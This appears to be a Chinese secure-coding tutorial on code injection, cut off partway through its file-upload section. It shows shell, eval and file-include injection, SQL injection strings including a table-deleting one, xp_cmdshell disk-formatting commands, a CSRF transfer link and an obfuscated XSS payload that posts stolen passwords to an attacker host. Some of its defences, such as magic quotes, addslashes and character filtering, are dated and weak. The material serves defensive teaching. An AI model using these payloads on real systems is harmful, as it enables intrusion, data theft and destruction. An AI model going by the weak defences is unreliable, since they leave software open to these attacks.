版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
程序員疫苗:代碼注入
幾個月在我的微博上說過要建一個程序員疫苗網(wǎng)站,希望大家一起來提交一些錯誤示例的代碼,來幫助我們新入行的程序員,不要讓我們的程序員一代又一代的再重復地犯一些錯誤。很多程序上錯誤就像人類世界的病毒一樣,我們應該給我們的新入行的程序員注射一些疫苗,就像給新生兒打疫苗一樣,希望程序員從入行時就對這些錯誤有抵抗力。我的那個疫苗網(wǎng)站正在建議中(不好意思拖了很久),不過,我可以先寫一些關(guān)于程序員疫苗性質(zhì)的文章,也算是熱熱身。希望大家喜歡,先向大家介紹第一注疫苗——代碼注入。
Shell注入我們先來看一段perl的代碼:useCGIqw(:standard);$name=param('name');$nslookup="/path/to/nslookup";printheader;if(open($fh,"$nslookup$name|")){
while(<$fh>){printescapeHTML($_);print"<br>\n";}close($fh);}如果用戶輸入的參數(shù)是:%20%3B%20/bin/ls%20-l那么,這段perl的程序就成了:/path/to/nslookup
;/bin/ls-l我們再來看一段PHP的程序$myvar='somevalue';$x=$_GET['arg'];eval('$myvar='.$x.';');“eval“的參數(shù)將會視同PHP處理,所以額外的命令可被添加。例如:如果”arg”如果被設成”10;system('rm-rf/')“,后面的”system('rm-rf/')“代碼將被運行,這等同在服務器上運行開發(fā)者意料外的程序。(關(guān)于rm-rf/,你懂的,可參看“一個空格引發(fā)的悲劇”)PHP代碼再來看一個PHP的代碼$isadmin=false;......foreach($_GETas$key=>$value){$$key=$value;}如果攻擊者在查詢字符串中給定”isadmin=1″,那$isadmin將會被設為值“1″,然后攻擊值就取得了網(wǎng)站應用的admin權(quán)限了。PHP示例$action='login';if(__isset($_GET['act']))$action=$_GET['act'];require($action.'.php');這個代碼相當危險,攻擊者有可能可以干這些事:/test.php?act=http://evil/exploit
-注入遠程機器上有漏洞的文件。/test.php?act=/home/www/bbs/upload/exploit
-從一個已經(jīng)上載、叫做exploit.php文件運行其代碼。/test.php?act=../../../../etc/passwd%00
-讓攻擊者取得該UNIX系統(tǒng)目錄檢索下密碼文件的內(nèi)容。一個使用空元字符以解除.php擴展名限制,允許訪問其他非.php
結(jié)尾文件。(PHP默認值”magic_quotes_gpc=On”可以終止這種攻擊)這樣的示例有很多,只要你的程序有諸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及類似的應用程序接口,都是比較危險的,最好不要讓其中的字符串去拼裝用戶的輸入。PHP提供escapeshellarg()和escapeshellcmd()以在調(diào)用方法以前進行編碼。然而,實際上并不建議相信這些方法是安全的。SQL注入SQLinjection,是發(fā)生于應用程序之數(shù)據(jù)庫層的安全漏洞。簡而言之,是在輸入的字符串之中注入SQL指令,在設計不良的程序當中忽略了檢查,那么這些注入進去的指令就會被數(shù)據(jù)庫服務器誤認為是正常的SQL指令而運行,因此遭到破壞。在應用程序中若有下列狀況,則可能應用程序正暴露在SQLInjection的高風險情況下:在應用程序中使用字符串聯(lián)結(jié)方式組合SQL指令(如:引號沒有轉(zhuǎn)義)。在應用程序鏈接數(shù)據(jù)庫時使用權(quán)限過大的帳戶(如:很多開發(fā)人員都喜歡用sa(最高權(quán)限的系統(tǒng)管理員帳戶)連接MicrosoftSQLServer數(shù)據(jù)庫)。在數(shù)據(jù)庫中開放了不必要但權(quán)力過大的功能(例如在MicrosoftSQLServer數(shù)據(jù)庫中的xp_cmdshell延伸預存程序或是OLEAutomation預存程序等)過于信任用戶所輸入的數(shù)據(jù),未限制輸入的字符數(shù),以及未對用戶輸入的數(shù)據(jù)做潛在指令的檢查。例程某個網(wǎng)站的登錄驗證的SQL查詢代碼為strSQL="SELECT*FROMusersWHERE(name='"+userName+"')and(pw='"+passWord+"');"用戶在登錄時惡意輸入如下的的用戶名和口令:userName="'OR'1'='1";passWord="'OR'1'='1";此時,將導致原本的SQL字符串被解析為:strSQL="SELECT*FROMusersWHERE(name=''OR'1'='1')and(pw=''OR'1'='1');"也就是實際上運行的SQL命令會變成下面這樣的,因此導致無帳號密碼,也可登錄網(wǎng)站。strSQL="SELECT*FROMusers;"這還不算惡劣的,真正惡劣的是在你的語句后再加一個自己的語句,如:username="';DELETEFROMusers;--";這樣一來,要么整個數(shù)據(jù)庫的表被人盜走,要么被數(shù)據(jù)庫被刪除。當他們發(fā)現(xiàn)一個網(wǎng)站有SQL注入的時候,他們一般會干下面的事:盜取數(shù)據(jù)表中的數(shù)據(jù),例如個人機密數(shù)據(jù)(信用卡,身份證,手機號,通訊錄……),帳戶數(shù)據(jù),密碼等,獲得用戶的數(shù)據(jù)和信息后對這些用戶進行“社會工程學”活動(如:我前兩天在微信上親身經(jīng)歷)。取得系統(tǒng)管理員權(quán)限(例如ALTERLOGINsaWITHPASSWORD=’xxxxxx’)。在數(shù)據(jù)庫中的數(shù)據(jù)中插入一些HTML/JS代碼,有可能得以在網(wǎng)頁加入惡意鏈接以及XSS,這樣一來就讓訪問者被黑。經(jīng)由數(shù)據(jù)庫服務器提供的操作系統(tǒng)支持,讓黑客得以修改或控制操作系統(tǒng)(例如:MSSQLServer的xp_cmdshell“netstopiisadmin”可停止服務器的IIS服務)。甚至破壞硬盤數(shù)據(jù),癱瘓全系統(tǒng)(例如xp_cmdshell“FORMATC:”)?,F(xiàn)在的黑客比較壞,癱瘓系統(tǒng)的事,他們干的越來越少,因為沒什么利益,他們希望通過獲取用戶的帳號信息后,轉(zhuǎn)而攻擊用戶別的帳號,如游戲帳號,網(wǎng)銀帳號,QQ帳號等等他們可以獲利的事情(這就是為什么我希望大家在不站點上使用不同的口令,甚至不同的用戶信息的原因)如何避免
在組合SQL字符串時,先針對所傳入的參數(shù)作字符轉(zhuǎn)義(如:將單引號字符取代為連續(xù)2個單引號字符)。如果使用PHP開發(fā)網(wǎng)頁程序的話,亦可打開PHP的Magicquote功能自動將所有的網(wǎng)頁傳入?yún)?shù),將單引號字符取代為連續(xù)2個單引號字符。如果可能應該過濾以下字符:分號“;”,兩個減號“–”,單引號“’”,注釋“/*…*/”。(當然,因為注入攻擊一般用閉合的引號來玩,所以把引號轉(zhuǎn)義了應該就沒有什么問題了)更換危險字符。例如在PHP通過addslashes()函數(shù)保護SQL注入。限制用戶輸入的長度,限制用戶輸入的取值范圍。為當前應用建立權(quán)限比較小的數(shù)據(jù)庫用戶,這樣不會導致數(shù)據(jù)庫管理員丟失。把數(shù)據(jù)庫操作封裝成一個Service,對于敏感數(shù)據(jù),對于每個客戶端的IP,在一定時間內(nèi)每次只返回一條記錄。這樣可以避免被拖庫??缇W(wǎng)站腳本注入跨網(wǎng)站腳本(Cross-site
scripting,通常簡稱為XSS或跨站腳本或跨站腳本攻擊)是一種網(wǎng)站應用程序的安全漏洞攻擊,是代碼注入的一種。它通過巧妙的方法注入惡意指令代碼到網(wǎng)頁,使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。這些惡意網(wǎng)頁程序通常是JavaScript,但實際上也可以包括Java,
VBScript,
ActiveX,
Flash
或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到包括但不限于更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁內(nèi)容、會話和cookie等各種內(nèi)容。假如我們有這樣一段PHP的代碼$username=$_GET['username'];echo'<div>Welcome,'.$username.'</div>';那么我們可以這樣來注入:http://trustedS/welcome.php?username=<ScriptLanguage=”Javascript”>alert(“You’vebeenattacked!”);</Script>甚至這樣:http://trustedS/welcome.php?username=<divid=”stealPassword”>PleaseLogin:<formname=”input”action=”http:///stealPassword.php”method=”post”>Username:<inputtype=”text”name=”username”/><br/>Password:<inputtype=”password”name=”password”/><inputtype=”submit”value=”Login”/></form></div>這會讓網(wǎng)頁顯示以下內(nèi)容:<divclass="header">Welcome,<divid="stealPassword">PleaseLogin:<formname="input"action="/stealPassword.php"method="post">Username:<inputtype="text"name="username"/><br/>Password:<inputtype="password"name="password"/><inputtype="submit"value="Login"/></form></div></div>注入的代碼還有可能變種為如下這種更為隱蔽的方式(unicode碼)trustedS/welcome.php?username=<script+type=”text/javascript”>document.write(‘\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D’);</script>XSS的攻擊主要是通過一段JS程序得用用戶已登錄的cookie去模擬用戶的操作(甚至偷用戶的cookie)。這個方式可以讓用戶在自己不知情的情況下操作了自己不期望的操作。如果是網(wǎng)站的管理員中招,還有可能導致后臺管理權(quán)限被盜。關(guān)于其中的一些細節(jié)可以參看《新浪微博的XSS攻擊》一文。XSS攻擊是程序員有一糊涂就很容易犯的錯誤,你還可以看看網(wǎng)上的《騰訊微博的XSS攻擊》。XSS攻擊在論壇的用戶簽檔里面(使用img標簽)也發(fā)生過很多次,包括像一些使用bcode的網(wǎng)站,很有可能會被注入一些可以被瀏覽器用來執(zhí)行的代碼。包括CSS都有可能被注入javascript代碼。另外,XSS攻擊有一部分是和瀏覽器有關(guān)的。比如,如下的一些例子,你可能從來都沒有想過吧?(更多的例子可以參看酷殼很早以前的這篇文章《瀏覽器HTML安全列表》)<tablebackground=”javascript:alert(1)”><metacharset=”mac-farsi”>?script?alert(1)?/script?<img
src=”javascript:alert(1)”>XSS攻擊通常會引發(fā)CSRF攻擊。CSRF攻擊主要是通過在A站上設置B站點上的鏈接,通過使用用戶在B站點上的登錄且還沒有過期的cookie,從而使得用戶的B站點被攻擊。(這得益于現(xiàn)在的多Tab頁的瀏覽器,大家都會同時打開并登錄很多的網(wǎng)站,而這些不同網(wǎng)站的頁面間的cookie又是共享的)于是,如果我在A站點內(nèi)的某個貼子內(nèi)注入這么一段代碼:<img
src="http:///transfer?account=XXX&amount=1000000&for=haoel">很有可能你就在訪問A站的這個貼子時,你的網(wǎng)銀可能向我轉(zhuǎn)了一些錢。如何避免
要防止XSS攻擊,一般來說有下面幾種手段:嚴格限制用戶的輸入。最好不要讓用戶輸入帶標簽的內(nèi)容。最好不要讓用戶使用一些所見即所得的HTML編輯器。嚴格過濾用戶的輸入。如:PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。Python的cgi.escape()ASP的Server.HTMLEncode()。Node.js的node-validator。Java的xssprotect
。在一些關(guān)鍵功能,完全不能信任cookie,必需要用戶輸入口令。如:修改口令,支付,修改電子郵件,查看用戶的敏感信息等等。限制cookie的過期時間。對于CRSF攻擊,一是需要檢查http的referenceheader。二是不要使用GET方法來改變數(shù)據(jù),三是對于要提交的表單,后臺動態(tài)生成一個隨機的token,這個token是攻擊者很難偽造的。(對于token的生成,建議找一些成熟的lib庫)另外,你可能覺得網(wǎng)站在處理用戶的表單提交就行了,其實不是,想一想那些WebMail,我可以通過別的服務器向被攻擊用戶發(fā)送有JS代碼、圖片、Flash的郵件到你的郵箱,你打開一看,你就中招了。所以,WebMail一般都禁止顯示圖片和附件,這些都很危險,只有你完全了解來源的情況下才能打開。電子郵件的SMTP協(xié)議太差了,基本上無法校驗其它郵件服務器的可信度,我甚至可以自己建一個本機的郵件服務器,想用誰的郵件地址發(fā)信就用誰的郵件地址發(fā)信。所以,我再次真誠地告訴大家,請用gmail郵箱。別再跟我說什么QQMail之類的好用了。上傳文件上傳文件是一個很危險的功能,尤其是你如果不校驗上傳文件的類型的話,你可能會中很多很多的招,這種攻擊相當狠。試想,如果用戶上傳給你一個PHP、ASP、JSP的文件,當有人訪問這個文件時,你的服務器會解釋執(zhí)行之,這就相當于他可以在你的服務器上執(zhí)行一段程序。這無疑是相當危險的。舉個例子:<formaction="upload_picture.php"method="post"enctype="multipart/form-data">要上傳的文件:<inputtype="file"name="filename"/><br/><inputtype="submit"name="submit"value="Submit"/></form>$target="pictures/".basename($_FILES['uploadedfile']['name']);if(move_uploaded_file($_FILES['uplo
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2026年慈溪技師學院(慈溪杭州灣中等職業(yè)學校)公開招聘派遣制工作人員備考題庫帶答案詳解
- 2026年上海市浦東新區(qū)經(jīng)緯幼兒園招聘備考題庫(區(qū)內(nèi)流動)及參考答案詳解
- 2026年云南西疇縣西灑鎮(zhèn)社區(qū)衛(wèi)生服務中心公開招聘編外人員5人備考題庫帶答案詳解
- 2026年巧家縣社會工作協(xié)會面向社會公開招聘政府購買社會救助服務人員備考題庫及1套完整答案詳解
- 2026年南寧市人民公園公開招聘編外聘用人員備考題庫及答案詳解一套
- 2026年南平市浦城縣事業(yè)單位公開招聘35人備考題庫帶答案詳解
- 2026年古田縣食用菌產(chǎn)業(yè)發(fā)展中心下屬事業(yè)單位公開招聘緊缺急需人才備考題庫及1套參考答案詳解
- 2026年南方醫(yī)科大學珠江醫(yī)院三水醫(yī)院公開招聘4名高層次人才備考題庫完整參考答案詳解
- 2026年度信陽市市直機關(guān)公開遴選公務員備考題庫完整答案詳解
- 2026年備案制編制鄖西公立醫(yī)院招聘100人備考題庫及一套答案詳解
- 呼吸內(nèi)科一科一品一特色護理
- DB375026-2022《居住建筑節(jié)能設計標準》
- 傳感器與測試技術(shù)課程設計
- 社會實踐-形考任務四-國開(CQ)-參考資料
- 2024年貴州貴安發(fā)展集團有限公司招聘筆試參考題庫附帶答案詳解
- GB/T 43824-2024村鎮(zhèn)供水工程技術(shù)規(guī)范
- DB3402-T 57-2023 醫(yī)院物業(yè)服務規(guī)范
- 腰椎間盤突出患者術(shù)后護理課件
- 醫(yī)院護理培訓課件:《高壓氧臨床的適應癥》
- 固定修復基礎(chǔ)理論-固位原理(口腔固定修復工藝課件)
- 合同能源管理培訓講義
評論
0/150
提交評論